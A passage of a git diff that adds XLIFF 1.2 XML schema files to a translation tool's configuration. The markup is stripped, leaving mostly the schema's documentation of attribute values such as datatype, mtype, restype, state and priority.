'datatype'. + + + + + Indicates Active Server Page data. + + + + + Indicates C source file data. + + + + + Indicates Channel Definition Format (CDF) data. + + + + + Indicates ColdFusion data. + + + + + Indicates C++ source file data. + + + + + Indicates C-Sharp data. + + + + + Indicates strings from C, ASM, and driver files data. + + + + + Indicates comma-separated values data. + + + + + Indicates database data. + + + + + Indicates portions of document that follows data and contains metadata. + + + + + Indicates portions of document that precedes data and contains metadata. + + + + + Indicates data from standard UI file operations dialogs (e.g., Open, Save, Save As, Export, Import). + + + + + Indicates standard user input screen data. + + + + + Indicates HyperText Markup Language (HTML) data - document instance. + + + + + Indicates content within an HTML document’s <body> element. + + + + + Indicates Windows INI file data. + + + + + Indicates Interleaf data. + + + + + Indicates Java source file data (extension '.java'). + + + + + Indicates Java property resource bundle data. + + + + + Indicates Java list resource bundle data. + + + + + Indicates JavaScript source file data. + + + + + Indicates JScript source file data. + + + + + Indicates information relating to formatting. + + + + + Indicates LISP source file data. + + + + + Indicates information relating to margin formats. + + + + + Indicates a file containing menu. + + + + + Indicates numerically identified string table. + + + + + Indicates Maker Interchange Format (MIF) data. + + + + + Indicates that the datatype attribute value is a MIME Type value and is defined in the mime-type attribute. + + + + + Indicates GNU Machine Object data. + + + + + Indicates Message Librarian strings created by Novell's Message Librarian Tool. + + + + + Indicates information to be displayed at the bottom of each page of a document. + + + + + Indicates information to be displayed at the top of each page of a document. + + + + + Indicates a list of property values (e.g., settings within INI files or preferences dialog). + + + + + Indicates Pascal source file data. + + + + + Indicates Hypertext Preprocessor data. + + + + + Indicates plain text file (no formatting other than, possibly, wrapping). + + + + + Indicates GNU Portable Object file. + + + + + Indicates dynamically generated user defined document. e.g. Oracle Report, Crystal Report, etc. + + + + + Indicates Windows .NET binary resources. + + + + + Indicates Windows .NET Resources. + + + + + Indicates Rich Text Format (RTF) data. + + + + + Indicates Standard Generalized Markup Language (SGML) data - document instance. + + + + + Indicates Standard Generalized Markup Language (SGML) data - Document Type Definition (DTD). + + + + + Indicates Scalable Vector Graphic (SVG) data. + + + + + Indicates VisualBasic Script source file. + + + + + Indicates warning message. + + + + + Indicates Windows (Win32) resources (i.e. resources extracted from an RC script, a message file, or a compiled file). + + + + + Indicates Extensible HyperText Markup Language (XHTML) data - document instance. + + + + + Indicates Extensible Markup Language (XML) data - document instance. + + + + + Indicates Extensible Markup Language (XML) data - Document Type Definition (DTD). + + + + + Indicates Extensible Stylesheet Language (XSL) data. + + + + + Indicates XUL elements. + + + + + + + Values for the attribute 'mtype'. + + + + + Indicates the marked text is an abbreviation. + + + + + ISO-12620 2.1.8: A term resulting from the omission of any part of the full term while designating the same concept. + + + + + ISO-12620 2.1.8.1: An abbreviated form of a simple term resulting from the omission of some of its letters (e.g. 'adj.' for 'adjective'). + + + + + ISO-12620 2.1.8.4: An abbreviated form of a term made up of letters from the full form of a multiword term strung together into a sequence pronounced only syllabically (e.g. 'radar' for 'radio detecting and ranging'). + + + + + ISO-12620: A proper-name term, such as the name of an agency or other proper entity. + + + + + ISO-12620 2.1.18.1: A recurrent word combination characterized by cohesion in that the components of the collocation must co-occur within an utterance or series of utterances, even though they do not necessarily have to maintain immediate proximity to one another. + + + + + ISO-12620 2.1.5: A synonym for an international scientific term that is used in general discourse in a given language. + + + + + Indicates the marked text is a date and/or time. + + + + + ISO-12620 2.1.15: An expression used to represent a concept based on a statement that two mathematical expressions are, for instance, equal as identified by the equal sign (=), or assigned to one another by a similar sign. + + + + + ISO-12620 2.1.7: The complete representation of a term for which there is an abbreviated form. + + + + + ISO-12620 2.1.14: Figures, symbols or the like used to express a concept briefly, such as a mathematical or chemical formula. + + + + + ISO-12620 2.1.1: The concept designation that has been chosen to head a terminological record. + + + + + ISO-12620 2.1.8.3: An abbreviated form of a term consisting of some of the initial letters of the words making up a multiword term or the term elements making up a compound term when these letters are pronounced individually (e.g. 'BSE' for 'bovine spongiform encephalopathy'). + + + + + ISO-12620 2.1.4: A term that is part of an international scientific nomenclature as adopted by an appropriate scientific body. + + + + + ISO-12620 2.1.6: A term that has the same or nearly identical orthographic or phonemic form in many languages. + + + + + ISO-12620 2.1.16: An expression used to represent a concept based on mathematical or logical relations, such as statements of inequality, set relationships, Boolean operations, and the like. + + + + + ISO-12620 2.1.17: A unit to track object. + + + + + Indicates the marked text is a name. + + + + + ISO-12620 2.1.3: A term that represents the same or a very similar concept as another term in the same language, but for which interchangeability is limited to some contexts and inapplicable in others. + + + + + ISO-12620 2.1.17.2: A unique alphanumeric designation assigned to an object in a manufacturing system. + + + + + Indicates the marked text is a phrase. + + + + + ISO-12620 2.1.18: Any group of two or more words that form a unit, the meaning of which frequently cannot be deduced based on the combined sense of the words making up the phrase. + + + + + Indicates the marked text should not be translated. + + + + + ISO-12620 2.1.12: A form of a term resulting from an operation whereby non-Latin writing systems are converted to the Latin alphabet. + + + + + ISO-12620 2.1.18.2: A fixed, lexicalized phrase. + + + + + ISO-12620 2.1.8.2: A variant of a multiword term that includes fewer words than the full form of the term (e.g. 'Group of Twenty-four' for 'Intergovernmental Group of Twenty-four on International Monetary Affairs'). + + + + + ISO-12620 2.1.17.1: Stock keeping unit, an inventory item identified by a unique alphanumeric designation assigned to an object in an inventory control system. + + + + + ISO-12620 2.1.19: A fixed chunk of recurring text. + + + + + ISO-12620 2.1.13: A designation of a concept by letters, numerals, pictograms or any combination thereof. + + + + + ISO-12620 2.1.2: Any term that represents the same or a very similar concept as the main entry term in a term entry. + + + + + ISO-12620 2.1.18.3: Phraseological unit in a language that expresses the same semantic content as another phrase in that same language. + + + + + Indicates the marked text is a term. + + + + + ISO-12620 2.1.11: A form of a term resulting from an operation whereby the characters of one writing system are represented by characters from another writing system, taking into account the pronunciation of the characters converted. + + + + + ISO-12620 2.1.10: A form of a term resulting from an operation whereby the characters of an alphabetic writing system are represented by characters from another alphabetic writing system. + + + + + ISO-12620 2.1.8.5: An abbreviated form of a term resulting from the omission of one or more term elements or syllables (e.g. 'flu' for 'influenza'). + + + + + ISO-12620 2.1.9: One of the alternate forms of a term. + + + + + + + Values for the attribute 'restype'. + + + + + Indicates a Windows RC AUTO3STATE control. + + + + + Indicates a Windows RC AUTOCHECKBOX control. + + + + + Indicates a Windows RC AUTORADIOBUTTON control. + + + + + Indicates a Windows RC BEDIT control. + + + + + Indicates a bitmap, for example a BITMAP resource in Windows. + + + + + Indicates a button object, for example a BUTTON control Windows. + + + + + Indicates a caption, such as the caption of a dialog box. + + + + + Indicates the cell in a table, for example the content of the <td> element in HTML. + + + + + Indicates check box object, for example a CHECKBOX control in Windows. + + + + + Indicates a menu item with an associated checkbox. + + + + + Indicates a list box, but with a check-box for each item. + + + + + Indicates a color selection dialog. + + + + + Indicates a combination of edit box and listbox object, for example a COMBOBOX control in Windows. + + + + + Indicates an initialization entry of an extended combobox DLGINIT resource block. (code 0x1234). + + + + + Indicates an initialization entry of a combobox DLGINIT resource block (code 0x0403). + + + + + Indicates a UI base class element that cannot be represented by any other element. + + + + + Indicates a context menu. + + + + + Indicates a Windows RC CTEXT control. + + + + + Indicates a cursor, for example a CURSOR resource in Windows. + + + + + Indicates a date/time picker. + + + + + Indicates a Windows RC DEFPUSHBUTTON control. + + + + + Indicates a dialog box. + + + + + Indicates a Windows RC DLGINIT resource block. + + + + + Indicates an edit box object, for example an EDIT control in Windows. + + + + + Indicates a filename. + + + + + Indicates a file dialog. + + + + + Indicates a footnote. + + + + + Indicates a font name. + + + + + Indicates a footer. + + + + + Indicates a frame object. + + + + + Indicates a XUL grid element. + + + + + Indicates a groupbox object, for example a GROUPBOX control in Windows. + + + + + Indicates a header item. + + + + + Indicates a heading, such has the content of <h1>, <h2>, etc. in HTML. + + + + + Indicates a Windows RC HEDIT control. + + + + + Indicates a horizontal scrollbar. + + + + + Indicates an icon, for example an ICON resource in Windows. + + + + + Indicates a Windows RC IEDIT control. + + + + + Indicates keyword list, such as the content of the Keywords meta-data in HTML, or a K footnote in WinHelp RTF. + + + + + Indicates a label object. + + + + + Indicates a label that is also a HTML link (not necessarily a URL). + + + + + Indicates a list (a group of list-items, for example an <ol> or <ul> element in HTML). + + + + + Indicates a listbox object, for example an LISTBOX control in Windows. + + + + + Indicates an list item (an entry in a list). + + + + + Indicates a Windows RC LTEXT control. + + + + + Indicates a menu (a group of menu-items). + + + + + Indicates a toolbar containing one or more tope level menus. + + + + + Indicates a menu item (an entry in a menu). + + + + + Indicates a XUL menuseparator element. + + + + + Indicates a message, for example an entry in a MESSAGETABLE resource in Windows. + + + + + Indicates a calendar control. + + + + + Indicates an edit box beside a spin control. + + + + + Indicates a catch all for rectangular areas. + + + + + Indicates a standalone menu not necessarily associated with a menubar. + + + + + Indicates a pushbox object, for example a PUSHBOX control in Windows. + + + + + Indicates a Windows RC PUSHBUTTON control. + + + + + Indicates a radio button object. + + + + + Indicates a menuitem with associated radio button. + + + + + Indicates raw data resources for an application. + + + + + Indicates a row in a table. + + + + + Indicates a Windows RC RTEXT control. + + + + + Indicates a user navigable container used to show a portion of a document. + + + + + Indicates a generic divider object (e.g. menu group separator). + + + + + Windows accelerators, shortcuts in resource or property files. + + + + + Indicates a UI control to indicate process activity but not progress. + + + + + Indicates a splitter bar. + + + + + Indicates a Windows RC STATE3 control. + + + + + Indicates a window for providing feedback to the users, like 'read-only', etc. + + + + + Indicates a string, for example an entry in a STRINGTABLE resource in Windows. + + + + + Indicates a layers of controls with a tab to select layers. + + + + + Indicates a display and edits regular two-dimensional tables of cells. + + + + + Indicates a XUL textbox element. + + + + + Indicates a UI button that can be toggled to on or off state. + + + + + Indicates an array of controls, usually buttons. + + + + + Indicates a pop up tool tip text. + + + + + Indicates a bar with a pointer indicating a position within a certain range. + + + + + Indicates a control that displays a set of hierarchical data. + + + + + Indicates a URI (URN or URL). + + + + + Indicates a Windows RC USERBUTTON control. + + + + + Indicates a user-defined control like CONTROL control in Windows. + + + + + Indicates the text of a variable. + + + + + Indicates version information about a resource like VERSIONINFO in Windows. + + + + + Indicates a vertical scrollbar. + + + + + Indicates a graphical window. + + + + + + + Values for the attribute 'size-unit'. + + + + + Indicates a size in 8-bit bytes. + + + + + Indicates a size in Unicode characters. + + + + + Indicates a size in columns. Used for HTML text area. + + + + + Indicates a size in centimeters. + + + + + Indicates a size in dialog units, as defined in Windows resources. + + + + + Indicates a size in 'font-size' units (as defined in CSS). + + + + + Indicates a size in 'x-height' units (as defined in CSS). + + + + + Indicates a size in glyphs. A glyph is considered to be one or more combined Unicode characters that represent a single displayable text character. Sometimes referred to as a 'grapheme cluster' + + + + + Indicates a size in inches. + + + + + Indicates a size in millimeters. + + + + + Indicates a size in percentage. + + + + + Indicates a size in pixels. + + + + + Indicates a size in point. + + + + + Indicates a size in rows. Used for HTML text area. + + + + + + + Values for the attribute 'state'. + + + + + Indicates the terminating state. + + + + + Indicates only non-textual information needs adaptation. + + + + + Indicates both text and non-textual information needs adaptation. + + + + + Indicates only non-textual information needs review. + + + + + Indicates both text and non-textual information needs review. + + + + + Indicates that only the text of the item needs to be reviewed. + + + + + Indicates that the item needs to be translated. + + + + + Indicates that the item is new. For example, translation units that were not in a previous version of the document. + + + + + Indicates that changes are reviewed and approved. + + + + + Indicates that the item has been translated. + + + + + + + Values for the attribute 'state-qualifier'. + + + + + Indicates an exact match. An exact match occurs when a source text of a segment is exactly the same as the source text of a segment that was translated previously. + + + + + Indicates a fuzzy match. A fuzzy match occurs when a source text of a segment is very similar to the source text of a segment that was translated previously (e.g. when the difference is casing, a few changed words, white-space discripancy, etc.). + + + + + Indicates a match based on matching IDs (in addition to matching text). + + + + + Indicates a translation derived from a glossary. + + + + + Indicates a translation derived from existing translation. + + + + + Indicates a translation derived from machine translation. + + + + + Indicates a translation derived from a translation repository. + + + + + Indicates a translation derived from a translation memory. + + + + + Indicates the translation is suggested by machine translation. + + + + + Indicates that the item has been rejected because of incorrect grammar. + + + + + Indicates that the item has been rejected because it is incorrect. + + + + + Indicates that the item has been rejected because it is too long or too short. + + + + + Indicates that the item has been rejected because of incorrect spelling. + + + + + Indicates the translation is suggested by translation memory. + + + + + + + Values for the attribute 'unit'. + + + + + Refers to words. + + + + + Refers to pages. + + + + + Refers to <trans-unit> elements. + + + + + Refers to <bin-unit> elements. + + + + + Refers to glyphs. + + + + + Refers to <trans-unit> and/or <bin-unit> elements. + + + + + Refers to the occurrences of instances defined by the count-type value. + + + + + Refers to characters. + + + + + Refers to lines. + + + + + Refers to sentences. + + + + + Refers to paragraphs. + + + + + Refers to segments. + + + + + Refers to placeables (inline elements). + + + + + + + Values for the attribute 'priority'. + + + + + Highest priority. + + + + + High priority. + + + + + High priority, but not as important as 2. + + + + + High priority, but not as important as 3. + + + + + Medium priority, but more important than 6. + + + + + Medium priority, but less important than 5. + + + + + Low priority, but more important than 8. + + + + + Low priority, but more important than 9. + + + + + Low priority. + + + + + Lowest priority. + + + + + + + + + This value indicate that all properties can be reformatted. This value must be used alone. + + + + + This value indicate that no properties should be reformatted. This value must be used alone. + + + + + + + + + + + This value indicates that all information in the coord attribute can be modified. + + + + + This value indicates that the x information in the coord attribute can be modified. + + + + + This value indicates that the y information in the coord attribute can be modified. + + + + + This value indicates that the cx information in the coord attribute can be modified. + + + + + This value indicates that the cy information in the coord attribute can be modified. + + + + + This value indicates that all the information in the font attribute can be modified. + + + + + This value indicates that the name information in the font attribute can be modified. + + + + + This value indicates that the size information in the font attribute can be modified. + + + + + This value indicates that the weight information in the font attribute can be modified. + + + + + This value indicates that the information in the css-style attribute can be modified. + + + + + This value indicates that the information in the style attribute can be modified. + + + + + This value indicates that the information in the exstyle attribute can be modified. + + + + + + + + + + + Indicates that the context is informational in nature, specifying for example, how a term should be translated. Thus, should be displayed to anyone editing the XLIFF document. + + + + + Indicates that the context-group is used to specify where the term was found in the translatable source. Thus, it is not displayed. + + + + + Indicates that the context information should be used during translation memory lookups. Thus, it is not displayed. + + + + + + + + + + + + + + + + + yes + + + + + + + + + + yes + + + + + + + + yes + + + + + + + + yes + + + + + + + + yes + + + + + + + + yes + + + + + + + + yes + + + + + + + + yes + + + + + + + + yes + + + + + + + + yes + + + + + + + + yes + + + + + + + + yes + + + + + + + + yes + + + + + + + + yes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Values for the attribute 'coord'. + + + + + + + + Version values: 1.0 is allowed for backward compatibility. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xliff/xliff-core-1.2-strict.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xliff/xliff-core-1.2-strict.xsd new file mode 100644 index 0000000..8588006 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xliff/xliff-core-1.2-strict.xsd @@ -0,0 +1,2225 @@ + + + + + + + + + + + + + + + Values for the attribute 'context-type'. + + + + + Indicates a database content. + + + + + Indicates the content of an element within an XML document. + + + + + Indicates the name of an element within an XML document. + + + + + Indicates the line number from the sourcefile (see context-type="sourcefile") where the <source> is found. + + + + + Indicates a the number of parameters contained within the <source>. + + + + + Indicates notes pertaining to the parameters in the <source>. + + + + + Indicates the content of a record within a database. + + + + + Indicates the name of a record within a database. + + + + + Indicates the original source file in the case that multiple files are merged to form the original file from which the XLIFF file is created. This differs from the original <file> attribute in that this sourcefile is one of many that make up that file. + + + + + + + Values for the attribute 'count-type'. + + + + + Indicates the count units are items that are used X times in a certain context; example: this is a reusable text unit which is used 42 times in other texts. + + + + + Indicates the count units are translation units existing already in the same document. + + + + + Indicates a total count. + + + + + + + Values for the attribute 'ctype' when used other elements than <ph> or <x>. + + + + + Indicates a run of bolded text. + + + + + Indicates a run of text in italics. + + + + + Indicates a run of underlined text. + + + + + Indicates a run of hyper-text. + + + + + + + Values for the attribute 'ctype' when used with <ph> or <x>. + + + + + Indicates a inline image. + + + + + Indicates a page break. + + + + + Indicates a line break. + + + + + + + + + + + + Values for the attribute 'datatype'. + + + + + Indicates Active Server Page data. + + + + + Indicates C source file data. + + + + + Indicates Channel Definition Format (CDF) data. + + + + + Indicates ColdFusion data. + + + + + Indicates C++ source file data. + + + + + Indicates C-Sharp data. + + + + + Indicates strings from C, ASM, and driver files data. + + + + + Indicates comma-separated values data. + + + + + Indicates database data. + + + + + Indicates portions of document that follows data and contains metadata. + + + + + Indicates portions of document that precedes data and contains metadata. + + + + + Indicates data from standard UI file operations dialogs (e.g., Open, Save, Save As, Export, Import). + + + + + Indicates standard user input screen data. + + + + + Indicates HyperText Markup Language (HTML) data - document instance. + + + + + Indicates content within an HTML document’s <body> element. + + + + + Indicates Windows INI file data. + + + + + Indicates Interleaf data. + + + + + Indicates Java source file data (extension '.java'). + + + + + Indicates Java property resource bundle data. + + + + + Indicates Java list resource bundle data. + + + + + Indicates JavaScript source file data. + + + + + Indicates JScript source file data. + + + + + Indicates information relating to formatting. + + + + + Indicates LISP source file data. + + + + + Indicates information relating to margin formats. + + + + + Indicates a file containing menu. + + + + + Indicates numerically identified string table. + + + + + Indicates Maker Interchange Format (MIF) data. + + + + + Indicates that the datatype attribute value is a MIME Type value and is defined in the mime-type attribute. + + + + + Indicates GNU Machine Object data. + + + + + Indicates Message Librarian strings created by Novell's Message Librarian Tool. + + + + + Indicates information to be displayed at the bottom of each page of a document. + + + + + Indicates information to be displayed at the top of each page of a document. + + + + + Indicates a list of property values (e.g., settings within INI files or preferences dialog). + + + + + Indicates Pascal source file data. + + + + + Indicates Hypertext Preprocessor data. + + + + + Indicates plain text file (no formatting other than, possibly, wrapping). + + + + + Indicates GNU Portable Object file. + + + + + Indicates dynamically generated user defined document. e.g. Oracle Report, Crystal Report, etc. + + + + + Indicates Windows .NET binary resources. + + + + + Indicates Windows .NET Resources. + + + + + Indicates Rich Text Format (RTF) data. + + + + + Indicates Standard Generalized Markup Language (SGML) data - document instance. + + + + + Indicates Standard Generalized Markup Language (SGML) data - Document Type Definition (DTD). + + + + + Indicates Scalable Vector Graphic (SVG) data. + + + + + Indicates VisualBasic Script source file. + + + + + Indicates warning message. + + + + + Indicates Windows (Win32) resources (i.e. resources extracted from an RC script, a message file, or a compiled file). + + + + + Indicates Extensible HyperText Markup Language (XHTML) data - document instance. + + + + + Indicates Extensible Markup Language (XML) data - document instance. + + + + + Indicates Extensible Markup Language (XML) data - Document Type Definition (DTD). + + + + + Indicates Extensible Stylesheet Language (XSL) data. + + + + + Indicates XUL elements. + + + + + + + Values for the attribute 'mtype'. + + + + + Indicates the marked text is an abbreviation. + + + + + ISO-12620 2.1.8: A term resulting from the omission of any part of the full term while designating the same concept. + + + + + ISO-12620 2.1.8.1: An abbreviated form of a simple term resulting from the omission of some of its letters (e.g. 'adj.' for 'adjective'). + + + + + ISO-12620 2.1.8.4: An abbreviated form of a term made up of letters from the full form of a multiword term strung together into a sequence pronounced only syllabically (e.g. 'radar' for 'radio detecting and ranging'). + + + + + ISO-12620: A proper-name term, such as the name of an agency or other proper entity. + + + + + ISO-12620 2.1.18.1: A recurrent word combination characterized by cohesion in that the components of the collocation must co-occur within an utterance or series of utterances, even though they do not necessarily have to maintain immediate proximity to one another. + + + + + ISO-12620 2.1.5: A synonym for an international scientific term that is used in general discourse in a given language. + + + + + Indicates the marked text is a date and/or time. + + + + + ISO-12620 2.1.15: An expression used to represent a concept based on a statement that two mathematical expressions are, for instance, equal as identified by the equal sign (=), or assigned to one another by a similar sign. + + + + + ISO-12620 2.1.7: The complete representation of a term for which there is an abbreviated form. + + + + + ISO-12620 2.1.14: Figures, symbols or the like used to express a concept briefly, such as a mathematical or chemical formula. + + + + + ISO-12620 2.1.1: The concept designation that has been chosen to head a terminological record. + + + + + ISO-12620 2.1.8.3: An abbreviated form of a term consisting of some of the initial letters of the words making up a multiword term or the term elements making up a compound term when these letters are pronounced individually (e.g. 'BSE' for 'bovine spongiform encephalopathy'). + + + + + ISO-12620 2.1.4: A term that is part of an international scientific nomenclature as adopted by an appropriate scientific body. + + + + + ISO-12620 2.1.6: A term that has the same or nearly identical orthographic or phonemic form in many languages. + + + + + ISO-12620 2.1.16: An expression used to represent a concept based on mathematical or logical relations, such as statements of inequality, set relationships, Boolean operations, and the like. + + + + + ISO-12620 2.1.17: A unit to track object. + + + + + Indicates the marked text is a name. + + + + + ISO-12620 2.1.3: A term that represents the same or a very similar concept as another term in the same language, but for which interchangeability is limited to some contexts and inapplicable in others. + + + + + ISO-12620 2.1.17.2: A unique alphanumeric designation assigned to an object in a manufacturing system. + + + + + Indicates the marked text is a phrase. + + + + + ISO-12620 2.1.18: Any group of two or more words that form a unit, the meaning of which frequently cannot be deduced based on the combined sense of the words making up the phrase. + + + + + Indicates the marked text should not be translated. + + + + + ISO-12620 2.1.12: A form of a term resulting from an operation whereby non-Latin writing systems are converted to the Latin alphabet. + + + + + Indicates that the marked text represents a segment. + + + + + ISO-12620 2.1.18.2: A fixed, lexicalized phrase. + + + + + ISO-12620 2.1.8.2: A variant of a multiword term that includes fewer words than the full form of the term (e.g. 'Group of Twenty-four' for 'Intergovernmental Group of Twenty-four on International Monetary Affairs'). + + + + + ISO-12620 2.1.17.1: Stock keeping unit, an inventory item identified by a unique alphanumeric designation assigned to an object in an inventory control system. + + + + + ISO-12620 2.1.19: A fixed chunk of recurring text. + + + + + ISO-12620 2.1.13: A designation of a concept by letters, numerals, pictograms or any combination thereof. + + + + + ISO-12620 2.1.2: Any term that represents the same or a very similar concept as the main entry term in a term entry. + + + + + ISO-12620 2.1.18.3: Phraseological unit in a language that expresses the same semantic content as another phrase in that same language. + + + + + Indicates the marked text is a term. + + + + + ISO-12620 2.1.11: A form of a term resulting from an operation whereby the characters of one writing system are represented by characters from another writing system, taking into account the pronunciation of the characters converted. + + + + + ISO-12620 2.1.10: A form of a term resulting from an operation whereby the characters of an alphabetic writing system are represented by characters from another alphabetic writing system. + + + + + ISO-12620 2.1.8.5: An abbreviated form of a term resulting from the omission of one or more term elements or syllables (e.g. 'flu' for 'influenza'). + + + + + ISO-12620 2.1.9: One of the alternate forms of a term. + + + + + + + Values for the attribute 'restype'. + + + + + Indicates a Windows RC AUTO3STATE control. + + + + + Indicates a Windows RC AUTOCHECKBOX control. + + + + + Indicates a Windows RC AUTORADIOBUTTON control. + + + + + Indicates a Windows RC BEDIT control. + + + + + Indicates a bitmap, for example a BITMAP resource in Windows. + + + + + Indicates a button object, for example a BUTTON control Windows. + + + + + Indicates a caption, such as the caption of a dialog box. + + + + + Indicates the cell in a table, for example the content of the <td> element in HTML. + + + + + Indicates check box object, for example a CHECKBOX control in Windows. + + + + + Indicates a menu item with an associated checkbox. + + + + + Indicates a list box, but with a check-box for each item. + + + + + Indicates a color selection dialog. + + + + + Indicates a combination of edit box and listbox object, for example a COMBOBOX control in Windows. + + + + + Indicates an initialization entry of an extended combobox DLGINIT resource block. (code 0x1234). + + + + + Indicates an initialization entry of a combobox DLGINIT resource block (code 0x0403). + + + + + Indicates a UI base class element that cannot be represented by any other element. + + + + + Indicates a context menu. + + + + + Indicates a Windows RC CTEXT control. + + + + + Indicates a cursor, for example a CURSOR resource in Windows. + + + + + Indicates a date/time picker. + + + + + Indicates a Windows RC DEFPUSHBUTTON control. + + + + + Indicates a dialog box. + + + + + Indicates a Windows RC DLGINIT resource block. + + + + + Indicates an edit box object, for example an EDIT control in Windows. + + + + + Indicates a filename. + + + + + Indicates a file dialog. + + + + + Indicates a footnote. + + + + + Indicates a font name. + + + + + Indicates a footer. + + + + + Indicates a frame object. + + + + + Indicates a XUL grid element. + + + + + Indicates a groupbox object, for example a GROUPBOX control in Windows. + + + + + Indicates a header item. + + + + + Indicates a heading, such has the content of <h1>, <h2>, etc. in HTML. + + + + + Indicates a Windows RC HEDIT control. + + + + + Indicates a horizontal scrollbar. + + + + + Indicates an icon, for example an ICON resource in Windows. + + + + + Indicates a Windows RC IEDIT control. + + + + + Indicates keyword list, such as the content of the Keywords meta-data in HTML, or a K footnote in WinHelp RTF. + + + + + Indicates a label object. + + + + + Indicates a label that is also a HTML link (not necessarily a URL). + + + + + Indicates a list (a group of list-items, for example an <ol> or <ul> element in HTML). + + + + + Indicates a listbox object, for example an LISTBOX control in Windows. + + + + + Indicates an list item (an entry in a list). + + + + + Indicates a Windows RC LTEXT control. + + + + + Indicates a menu (a group of menu-items). + + + + + Indicates a toolbar containing one or more tope level menus. + + + + + Indicates a menu item (an entry in a menu). + + + + + Indicates a XUL menuseparator element. + + + + + Indicates a message, for example an entry in a MESSAGETABLE resource in Windows. + + + + + Indicates a calendar control. + + + + + Indicates an edit box beside a spin control. + + + + + Indicates a catch all for rectangular areas. + + + + + Indicates a standalone menu not necessarily associated with a menubar. + + + + + Indicates a pushbox object, for example a PUSHBOX control in Windows. + + + + + Indicates a Windows RC PUSHBUTTON control. + + + + + Indicates a radio button object. + + + + + Indicates a menuitem with associated radio button. + + + + + Indicates raw data resources for an application. + + + + + Indicates a row in a table. + + + + + Indicates a Windows RC RTEXT control. + + + + + Indicates a user navigable container used to show a portion of a document. + + + + + Indicates a generic divider object (e.g. menu group separator). + + + + + Windows accelerators, shortcuts in resource or property files. + + + + + Indicates a UI control to indicate process activity but not progress. + + + + + Indicates a splitter bar. + + + + + Indicates a Windows RC STATE3 control. + + + + + Indicates a window for providing feedback to the users, like 'read-only', etc. + + + + + Indicates a string, for example an entry in a STRINGTABLE resource in Windows. + + + + + Indicates a layers of controls with a tab to select layers. + + + + + Indicates a display and edits regular two-dimensional tables of cells. + + + + + Indicates a XUL textbox element. + + + + + Indicates a UI button that can be toggled to on or off state. + + + + + Indicates an array of controls, usually buttons. + + + + + Indicates a pop up tool tip text. + + + + + Indicates a bar with a pointer indicating a position within a certain range. + + + + + Indicates a control that displays a set of hierarchical data. + + + + + Indicates a URI (URN or URL). + + + + + Indicates a Windows RC USERBUTTON control. + + + + + Indicates a user-defined control like CONTROL control in Windows. + + + + + Indicates the text of a variable. + + + + + Indicates version information about a resource like VERSIONINFO in Windows. + + + + + Indicates a vertical scrollbar. + + + + + Indicates a graphical window. + + + + + + + Values for the attribute 'size-unit'. + + + + + Indicates a size in 8-bit bytes. + + + + + Indicates a size in Unicode characters. + + + + + Indicates a size in columns. Used for HTML text area. + + + + + Indicates a size in centimeters. + + + + + Indicates a size in dialog units, as defined in Windows resources. + + + + + Indicates a size in 'font-size' units (as defined in CSS). + + + + + Indicates a size in 'x-height' units (as defined in CSS). + + + + + Indicates a size in glyphs. A glyph is considered to be one or more combined Unicode characters that represent a single displayable text character. Sometimes referred to as a 'grapheme cluster' + + + + + Indicates a size in inches. + + + + + Indicates a size in millimeters. + + + + + Indicates a size in percentage. + + + + + Indicates a size in pixels. + + + + + Indicates a size in point. + + + + + Indicates a size in rows. Used for HTML text area. + + + + + + + Values for the attribute 'state'. + + + + + Indicates the terminating state. + + + + + Indicates only non-textual information needs adaptation. + + + + + Indicates both text and non-textual information needs adaptation. + + + + + Indicates only non-textual information needs review. + + + + + Indicates both text and non-textual information needs review. + + + + + Indicates that only the text of the item needs to be reviewed. + + + + + Indicates that the item needs to be translated. + + + + + Indicates that the item is new. For example, translation units that were not in a previous version of the document. + + + + + Indicates that changes are reviewed and approved. + + + + + Indicates that the item has been translated. + + + + + + + Values for the attribute 'state-qualifier'. + + + + + Indicates an exact match. An exact match occurs when a source text of a segment is exactly the same as the source text of a segment that was translated previously. + + + + + Indicates a fuzzy match. A fuzzy match occurs when a source text of a segment is very similar to the source text of a segment that was translated previously (e.g. when the difference is casing, a few changed words, white-space discripancy, etc.). + + + + + Indicates a match based on matching IDs (in addition to matching text). + + + + + Indicates a translation derived from a glossary. + + + + + Indicates a translation derived from existing translation. + + + + + Indicates a translation derived from machine translation. + + + + + Indicates a translation derived from a translation repository. + + + + + Indicates a translation derived from a translation memory. + + + + + Indicates the translation is suggested by machine translation. + + + + + Indicates that the item has been rejected because of incorrect grammar. + + + + + Indicates that the item has been rejected because it is incorrect. + + + + + Indicates that the item has been rejected because it is too long or too short. + + + + + Indicates that the item has been rejected because of incorrect spelling. + + + + + Indicates the translation is suggested by translation memory. + + + + + + + Values for the attribute 'unit'. + + + + + Refers to words. + + + + + Refers to pages. + + + + + Refers to <trans-unit> elements. + + + + + Refers to <bin-unit> elements. + + + + + Refers to glyphs. + + + + + Refers to <trans-unit> and/or <bin-unit> elements. + + + + + Refers to the occurrences of instances defined by the count-type value. + + + + + Refers to characters. + + + + + Refers to lines. + + + + + Refers to sentences. + + + + + Refers to paragraphs. + + + + + Refers to segments. + + + + + Refers to placeables (inline elements). + + + + + + + Values for the attribute 'priority'. + + + + + Highest priority. + + + + + High priority. + + + + + High priority, but not as important as 2. + + + + + High priority, but not as important as 3. + + + + + Medium priority, but more important than 6. + + + + + Medium priority, but less important than 5. + + + + + Low priority, but more important than 8. + + + + + Low priority, but more important than 9. + + + 